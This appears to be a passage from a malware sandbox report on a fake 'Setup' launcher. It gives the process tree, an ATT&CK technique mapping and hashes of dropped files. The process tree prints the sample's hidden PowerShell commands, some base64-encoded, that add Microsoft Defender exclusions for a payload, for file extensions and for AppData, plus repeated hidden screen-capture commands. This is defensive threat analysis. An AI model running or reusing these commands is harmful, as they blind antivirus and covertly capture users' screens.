UAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAEUAeAB0AGUAbgBzAGkAbwBuACAAJwAuAGUAeABlACcAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4ARQB4AHQAZQBuAHMAaQBvAG4AIAAnAC4AdABtAHAAJwAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAHIAbwBjAGUAcwBzACAAJwBwAGEAeQBsAG8AYQBkAC4AZQB4AGUAJwAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlAA==
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:6440
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms; $b = [System.Drawing.Rectangle]::FromLTRB(0, 0, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Height); $bmp = New-Object System.Drawing.Bitmap($b.Width, $b.Height); $g = [System.Drawing.Graphics]::FromImage($bmp); $g.CopyFromScreen($b.Location, [System.Drawing.Point]::Empty, $b.Size); $bmp.Save(\"C:\\Users\\Admin\\AppData\\Local\\Temp\\scr_1783846371699.png\"); $g.Dispose(); $bmp.Dispose()""
    3⤵
    - Hide Artifacts: Hidden Window
    PID:6824
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms; $b = [System.Drawing.Rectangle]::FromLTRB(0, 0, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Height); $bmp = New-Object System.Drawing.Bitmap($b.Width, $b.Height); $g = [System.Drawing.Graphics]::FromImage($bmp); $g.CopyFromScreen($b.Location, [System.Drawing.Point]::Empty, $b.Size); $bmp.Save(\"C:\\Users\\Admin\\AppData\\Local\\Temp\\scr_1783846371699.png\"); $g.Dispose(); $bmp.Dispose()"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:7004
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms; $b = [System.Drawing.Rectangle]::FromLTRB(0, 0, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Height); $bmp = New-Object System.Drawing.Bitmap($b.Width, $b.Height); $g = [System.Drawing.Graphics]::FromImage($bmp); $g.CopyFromScreen($b.Location, [System.Drawing.Point]::Empty, $b.Size); $bmp.Save(\"C:\\Users\\Admin\\AppData\\Local\\Temp\\scr_1783846373524.png\"); $g.Dispose(); $bmp.Dispose()""
    3⤵
    - Hide Artifacts: Hidden Window
    PID:6204
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms; $b = [System.Drawing.Rectangle]::FromLTRB(0, 0, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Height); $bmp = New-Object System.Drawing.Bitmap($b.Width, $b.Height); $g = [System.Drawing.Graphics]::FromImage($bmp); $g.CopyFromScreen($b.Location, [System.Drawing.Point]::Empty, $b.Size); $bmp.Save(\"C:\\Users\\Admin\\AppData\\Local\\Temp\\scr_1783846373524.png\"); $g.Dispose(); $bmp.Dispose()"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:6464
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\3GLomF1OaI7P3QwaNa2rXkctvvB\Installer.exe""
    3⤵
    PID:6412
  - - C:\Windows\system32\reg.exe
      reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\3GLomF1OaI7P3QwaNa2rXkctvvB\Installer.exe"
      4⤵
      PID:6660
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783846369044""
    3⤵
    PID:6084
  - - C:\Windows\system32\reg.exe
      reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783846369044"
      4⤵
      PID:6636
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache""
    3⤵
    PID:4940
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:5756
  - - C:\Windows\system32\reg.exe
      reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache"
      4⤵
      PID:5644
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783846369044\payload.exe""
    3⤵
    PID:6628
  - - C:\Windows\system32\reg.exe
      reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783846369044\payload.exe"
      4⤵
      PID:6380
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms; $b = [System.Drawing.Rectangle]::FromLTRB(0, 0, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Height); $bmp = New-Object System.Drawing.Bitmap($b.Width, $b.Height); $g = [System.Drawing.Graphics]::FromImage($bmp); $g.CopyFromScreen($b.Location, [System.Drawing.Point]::Empty, $b.Size); $bmp.Save(\"C:\\Users\\Admin\\AppData\\Local\\Temp\\scr_1783846376710.png\"); $g.Dispose(); $bmp.Dispose()""
    3⤵
    - Hide Artifacts: Hidden Window
    PID:6452
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms; $b = [System.Drawing.Rectangle]::FromLTRB(0, 0, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Height); $bmp = New-Object System.Drawing.Bitmap($b.Width, $b.Height); $g = [System.Drawing.Graphics]::FromImage($bmp); $g.CopyFromScreen($b.Location, [System.Drawing.Point]::Empty, $b.Size); $bmp.Save(\"C:\\Users\\Admin\\AppData\\Local\\Temp\\scr_1783846376710.png\"); $g.Dispose(); $bmp.Dispose()"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:5688
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783846369044\payload.exe' -ErrorAction SilentlyContinue""
    3⤵
    - Prevents Microsoft Defender from scanning certain paths by adding an exclusion.
    - Hide Artifacts: Hidden Window
    - Hide Artifacts: Ignore Process Interrupts
    PID:6492
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783846369044\payload.exe' -ErrorAction SilentlyContinue"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:5896
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms; $b = [System.Drawing.Rectangle]::FromLTRB(0, 0, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Height); $bmp = New-Object System.Drawing.Bitmap($b.Width, $b.Height); $g = [System.Drawing.Graphics]::FromImage($bmp); $g.CopyFromScreen($b.Location, [System.Drawing.Point]::Empty, $b.Size); $bmp.Save(\"C:\\Users\\Admin\\AppData\\Local\\Temp\\scr_1783846377882.png\"); $g.Dispose(); $bmp.Dispose()""
    3⤵
    - Hide Artifacts: Hidden Window
    PID:4352
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms; $b = [System.Drawing.Rectangle]::FromLTRB(0, 0, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Height); $bmp = New-Object System.Drawing.Bitmap($b.Width, $b.Height); $g = [System.Drawing.Graphics]::FromImage($bmp); $g.CopyFromScreen($b.Location, [System.Drawing.Point]::Empty, $b.Size); $bmp.Save(\"C:\\Users\\Admin\\AppData\\Local\\Temp\\scr_1783846377882.png\"); $g.Dispose(); $bmp.Dispose()"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:4100
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms; $b = [System.Drawing.Rectangle]::FromLTRB(0, 0, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Height); $bmp = New-Object System.Drawing.Bitmap($b.Width, $b.Height); $g = [System.Drawing.Graphics]::FromImage($bmp); $g.CopyFromScreen($b.Location, [System.Drawing.Point]::Empty, $b.Size); $bmp.Save(\"C:\\Users\\Admin\\AppData\\Local\\Temp\\scr_1783846398525.png\"); $g.Dispose(); $bmp.Dispose()""
    3⤵
    - Hide Artifacts: Hidden Window
    PID:6016
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms; $b = [System.Drawing.Rectangle]::FromLTRB(0, 0, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Height); $bmp = New-Object System.Drawing.Bitmap($b.Width, $b.Height); $g = [System.Drawing.Graphics]::FromImage($bmp); $g.CopyFromScreen($b.Location, [System.Drawing.Point]::Empty, $b.Size); $bmp.Save(\"C:\\Users\\Admin\\AppData\\Local\\Temp\\scr_1783846398525.png\"); $g.Dispose(); $bmp.Dispose()"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:6520

C:\Users\Admin\Downloads\Setup\launcher.exe
"C:\Users\Admin\Downloads\Setup\launcher.exe"
1⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:4836
- C:\Users\Admin\AppData\Local\Temp\y09n1rrn5l3m4lhg\BusizGuard.exe
  C:\Users\Admin\AppData\Local\Temp\y09n1rrn5l3m4lhg\BusizGuard.exe
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Checks processor information in registry
  PID:4964
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name /format:list"
    3⤵
    PID:6992
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic path win32_VideoController get name /format:list
      4⤵
      Detects videocard installed
      Suspicious behavior: EnumeratesProcesses
      PID:2712
- - C:\Users\Admin\AppData\Local\Temp\y09n1rrn5l3m4lhg\BusizGuard.exe
    "C:\Users\Admin\AppData\Local\Temp\y09n1rrn5l3m4lhg\BusizGuard.exe" --type=gpu-process --user-data-dir="C:\Users\Admin\AppData\Roaming\busizguard-cwuj31" --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAAAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --use-gl=angle --use-angle=swiftshader-webgl --field-trial-handle=1764,i,13573243777841234460,2116221999792714804,262144 --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version --disable-logging --mojo-platform-channel-handle=1756 /prefetch:2
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    PID:3008
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -EncodedCommand JAB0AGEAcgBnAGUAdAAgAD0AIAAnAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAJwA7ACAAdAByAHkAIAB7ACAAJABsAGkAcwB0ACAAPQAgACgARwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwB0AG8AcAApAC4ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAA7ACAAaQBmACAAKAAkAG4AdQBsAGwAIAAtAGUAcQAgACQAbABpAHMAdAApACAAewAgACQAZgBhAGwAcwBlACAAfQAgAGUAbABzAGUAIAB7ACAAKAAkAGwAaQBzAHQAIAB8ACAAVwBoAGUAcgBlAC0ATwBiAGoAZQBjAHQAIAB7ACAAJABfAC4AVABvAEwAbwB3AGUAcgAoACkAIAAtAGUAcQAgACQAdABhAHIAZwBlAHQALgBUAG8ATABvAHcAZQByACgAKQAgAH0AKQAuAEMAbwB1AG4AdAAgAC0AZwB0ACAAMAAgAH0AIAB9ACAAYwBhAHQAYwBoACAAewAgACQAZgBhAGwAcwBlACAAfQA=
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:2136
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -EncodedCommand QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQAnACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAHQAbwBwAA==
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:6348
- - C:\Users\Admin\AppData\.ih6kw2y7\dcq1aslq2y.exe
    C:\Users\Admin\AppData\.ih6kw2y7\dcq1aslq2y.exe
    3⤵
    - Executes dropped EXE
    - Modifies registry class
    PID:6640
- - C:\Users\Admin\AppData\Local\Temp\y09n1rrn5l3m4lhg\BusizGuard.exe
    "C:\Users\Admin\AppData\Local\Temp\y09n1rrn5l3m4lhg\BusizGuard.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --user-data-dir="C:\Users\Admin\AppData\Roaming\busizguard-cwuj31" --field-trial-handle=2004,i,13573243777841234460,2116221999792714804,262144 --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version --disable-logging --mojo-platform-channel-handle=1868 /prefetch:11
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    PID:4184

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

File/Path Exclusions

T1564.012

Hidden Window

T1564.003

Ignore Process Interrupts

T1564.011

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 ffe13798c5910685872d371e84c30baa9eefaaa5db1419603eb30d473d7b2e37
MD5 03c111f9396889c77f6d9883c5df333f
SHA1 be65300843096dba92c5695fd35e2dffcbb7eb0a
SHA512 a77dfe3b48fcb72648f1adfafbf0d0fcd4d88690dcf41609a03e1d6b645d1336b6e322931b2205673283b920d20ed0225c6aa320a83a2d3a410771f18d120c19
TLSH
T1B1D09BD079145D78C4C1353231A773155A516435865C46481151F3BACD65141667E59D
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 7add6572365d752d8c3a090b9a256c43e3c5ff716f29ed7aa3c53dc57a08ba60
MD5 0da70f521ac5aee3489abf6e3eb4e375
SHA1 0f3cd9919820116ecc86bab93f4712c08485dc56
SHA512 a9cddd04863b2ac842fe4f91265c19a41d8b7442be8f07a91747705beca52c1e1d563e3c46cf68e1b73606695624f13ca69a8246653c2535d0684ced42c37d33
TLSH
T182D09BD479045D78C4C1353231A673155A616435DA5C46481051F3AACD65141667F5AD
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 bedb807c2c8764e8bd49aa88da4c357e61a5804d7762ff03e065334e82a3df1d
MD5 6195e6a45ea6edbf817d8fff4b750792
SHA1 0ae85c0860f3470f2aaa4dd8bc366527a10dac25
SHA512 bf550f9bb2bb73cc94298703582ff475c9479d1bf986d3efd673eab0dbfdd4a5193bbb78cf870a441159b0704047cc4978c5a900c91754e7b856e66c0dfa744a
TLSH
T124D023607E3839F2C02C2031603143007E722063776D82093110C60ECC39081F7DEB99
MD5 SHA1 SHA512 TLSH

Submit Download

f_0000c9

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\Cache_Data\f_0000c9
Size 42KB
SHA256 1404ca348bd75ef836f4dd8b6f2cc719458642d1237c368296b2fc652dca47dc
MD5 665db5e157d2138835c4037c971ff3a4
SHA1 41ca6b7e4818eb81531d8006ff7ddd971c640879
SHA512 6c999466673c9873b1b112d6ab95c7cecb99467ea156e3e046b54c5f3d109c3845b05cbb2a0245d178430c7b2ceacd5110f7d8faf7e041100f44852b0c29fe9a
SSDEEP 768:tMTmVhyXCrekkraPAjrWMMWD3UJmw0FRwoglekm+hQ7//geceSF/mEQBPMAmDu5:cmHkCrHvPAjrWMMI3UJswogl4j7/hSlW
TLSH
T1F9130231EB70EE59962C903454E7FDA9433B1457D731ACA80E99A1CE6F8103454FACEC
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

f_0000cb

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\Cache_Data\f_0000cb
Size 31KB
SHA256 b83f3e476a5a49026de45cc0f8795292c484e2a0b4170b4387e75162e09bb07f
MD5 14305921d09c4f97ab7c975f4358fa4a
SHA1 4c51926d112a8e833aa0719e02d41d1b9cdf1a61
SHA512 a2d5ac47b812a2334744a29eb58b7745c80c5e512ff1ee891ca8ea3f86e7c5e3fbe03d203c0abe96502842bc1878cbd46c0510555a4d1a254deb118e469a1cd0
SSDEEP 768:76J6/7dtJhTz6tGpQX9uc+RUeUKtgOTVr:76J6/Btnv6tGpQX9A4ogOJr
TLSH
T124E2F1A568C173D11E3C4A292A1F73B21A08E4C6777A33FF524E84E81491166FF8EC6D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
Size 5KB
SHA256 2f5ca1b28eb8a8f8b34e780bea52266860600ef15174a617db36d56e3fedf990
MD5 7fc0d36cfaba78cee52e701fbf37e315
SHA1 4c542efcc3981416720d1812267e2a85508b6fcd
SHA512 f7bcb0d9c111c5656512e910cf319c52fe760812818efed62a650cb754ecae6fde5527a31895f9cbb56a484129351418782b61e2c219637298725e53d57b739e
SSDEEP 96:wf3LZxnM38z4M1k4ZKu4EiagwJY9IQrLjsgdyn:wzZhMG4M1k4fia34nggdK
TLSH
T1B2C1D936138B11E2EF6389B262C14B3531F841E902039EA65695BD764C82F5B89ECDB3
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
Size 5KB
SHA256 481f1b168898269515438553f4c768a9c5b702680ac8f4220734919ab9ce1f15
MD5 9e769e1302dac0768a381d3d34e31f9a
SHA1 fae3bfb7d0a7a710acb9a4b0c00aab06cbf83636
SHA512 42c81c314f5a41e5260e44cd8cbc0cc5a102819392925dbe972e89055b107e59fc5bd3da7bda08bb3439a1e6780a71c13a78e9cf03b5a70a87dabe0fa461b074
SSDEEP 96:Ff3LZxnM38z4M1k4ZKu4EianJQW9IUwLjsgdyn:FzZhMG4M1k4fiaJZUggdK
TLSH
T1E7C1EA36138B11E2EF6389B276C14B3531F841E902039EA65555BD764C83F5B89ECDB3
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

the-real-index~RFe5a1a8e.TMP

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index~RFe5a1a8e.TMP
Size 3KB
SHA256 3c92836422a13e3c2da1f251220a54e7cc41c4cc7b03695678247759a3589784
MD5 63c7f696613527b5c0db4cf3d1b24641
SHA1 4b04bae6131a6c40960b10dc906185a8a8ac0cb5
SHA512 c5ecdc9061178523473ac35b8978292f463f3f3d49819e3cc2e6964e3f7c48c10bde04a1188dc8cd230c7e6078fb9b314698b5afca8e49f273f2562dfb22eb82
TLSH
T1C1614F7A13A325C2E76588B270D0149A32F489DE4B03DA365215FE764C46F14ADFDDB3
MD5 SHA1 SHA512 TLSH

Submit Download

SiteList-Enterprise.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\DualEngine\SiteList-Enterprise.json
Size 2B
SHA256 44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a
MD5 99914b932bd37a50b983c5e7c90ae93b
SHA1 bf21a9e8fbc5a3846fb05b4fa0859e0917b2202f
SHA512 27c74670adb75075fad058d5ceaf7b20c4e7786c83bae8a32f626f9782af34c9a33c2046ef60fd2a7878d378e29fec851806bbd9a67878f3a9f1cda4830763fd
MD5 SHA1 SHA512

Submit Download

Edge Profile.ico

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Edge Profile.ico
Size 70KB
SHA256 31a226211c491e1b0832d4cd3cf34d97165e24a7ce4ec655259cd188f3a2bd88
MD5 efe54a870e0f5ff28d7e00036b861065
SHA1 10663a71c9815382ca5a1689dfcebe737c557b1d
SHA512 4d7ed9d3e22a58f0e169c9200e351d3a938c82ab7920567f67bf29d33b28192329ea05657d1077aebaf2c2b5151eb50c84e5ab590733ff824389566d93381c01
SSDEEP 1536:fAlMWz7vLDtDSVlXXwpFlorgLUxF+nubjUDSlBczkF1D/u1:fvuWAUxFDbY+0zkjDG1
TLSH
T1DA639F406A6479E8E814CBF59C69B7D30B95CFDC51A252E831F4FE7AB681494C90CFC4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
Size 31KB
SHA256 48724d57995e4b757a4b60084f77d953264fd57953f7541a83910fd5aac010b0
MD5 b4f642e1f33537a1ece4ab0ebcfce531
SHA1 fa226a464e5ed202aac20e67281fabe045825d5e
SHA512 da2a9ff5de4bcfc6319992853e19468490419d194beabf53b77eea3c024f88e8a09a8e5c5fa69a66415f095088bac211b8638048afb72a5a2c8d8734c27b1e60
SSDEEP 384:DWaOeYtgAmefirb0S2QbLLFeSYJ76Wx4x2B56SeF8eisRBQ/J4FHMzdiS1hrR/Uo:aNeMV+ghnbsgGkHubFjbA
TLSH
T146E2CBF783E5D52E891156F896106E1BCF1D0719432C3C2A88D5FE8BE3E2472E16A61F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Sdch Dictionaries

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries
Size 40B
SHA256 6028bd681dbf11a0a58dde8a0cd884115c04caa59d080ba51bde1b086ce0079d
MD5 20d4b8fa017a12a108c87f540836e250
SHA1 1ac617fac131262b6d3ce1f52f5907e31d5f6f00
SHA512 507b2b8a8a168ff8f2bdafa5d9d341c44501a5f17d9f63f3d43bd586bc9e8ae33221887869fa86f845b7d067cb7d2a7009efd71dda36e03a40a74fee04b86856
MD5 SHA1 SHA512

Submit Download

c77a3ac3-7d52-4225-8b2f-2786d9f8a892.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\c77a3ac3-7d52-4225-8b2f-2786d9f8a892.tmp
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 14KB
SHA256 0543ec5d9598024457697cbbb4828babba65189dc868565620580d459dd822a9
MD5 e79275517b4e83d031d5a78cd3b4f7ae
SHA1 d49f952d632a976b0964b818c5100a355d0910f6
SHA512 86b18a2caf91dec0c0b7b4f20d3a47f869c0126444dedf5bd328d1c2f4f9f95c9ac7739bf93b43d0b8a0bbc63d2b5649ad6d72f58c8948bd634817efb3702da6
SSDEEP 192:sxRsRcyM/jK1Ml8wbr/fmsXJCy8bNDfzoA8poGt/g6+WNHW52/Ylii9+GVIgIJ:sxRsSlr/fmsZCy8D2Z/5h/S9fs
TLSH
T1FD62C8166634597BCCDBD20DF941BB93D6F85577A2941E44AAFCCA0C00E6BED221382F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 15KB
SHA256 566ab5cc35f6c04404b2f47389038c47ef13317a9f2144a6e37abfac3655cdec
MD5 4c5e753cd99fbd9679b30911110b8329
SHA1 4a529617fd02010ddd76aabcd46b34384fd20616
SHA512 69f2d60d6b9bfdac8b41e50da98a23b872117fddac6ecbfb324b5d1cf87e1783197ce292e70ecc3592b64afb61d59ba4765a9134e015f203863c0588ea0a04e9
SSDEEP 192:sxRHRcyM/jK1Ml8wGr/fmsqJvy8bN6fzoA8pGAbGOyZ/g6+WNjQW52/Yl5i9+GVI:sxRHS4r/fmsyvy8620/5O/79fI
TLSH
T10062D856A6345D7BDCDBD209F941BB93D6F8517792941E44ABFCCA0C00E6BED220382B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 16KB
SHA256 3e194095787e390f3ff2c5ce366768a2adc92491fa377ff97be00f43a61238ff
MD5 c288a5aa4abcb71047e0b64ea913dec9
SHA1 2bda0406d9b09f793dcf3aa102b426508edfc182
SHA512 081f7073e6f2a0b205c1c0f0206ec106c96bf585eab17d27f7f37afa59a97c18f088e72d1f196abcce6ce29a18b1ec00e9586f94fcd2acbbef15c142d5d33f89
SSDEEP 192:sxRHRcyM/jK1Ml8UQ5Gr/fmsqJvy8bNtfzoA8pAAbGOyZ/g6+WNjQzcD52/YlMof:sxRHSqcr/fmsyvy8t2y/5W/B9fI
TLSH
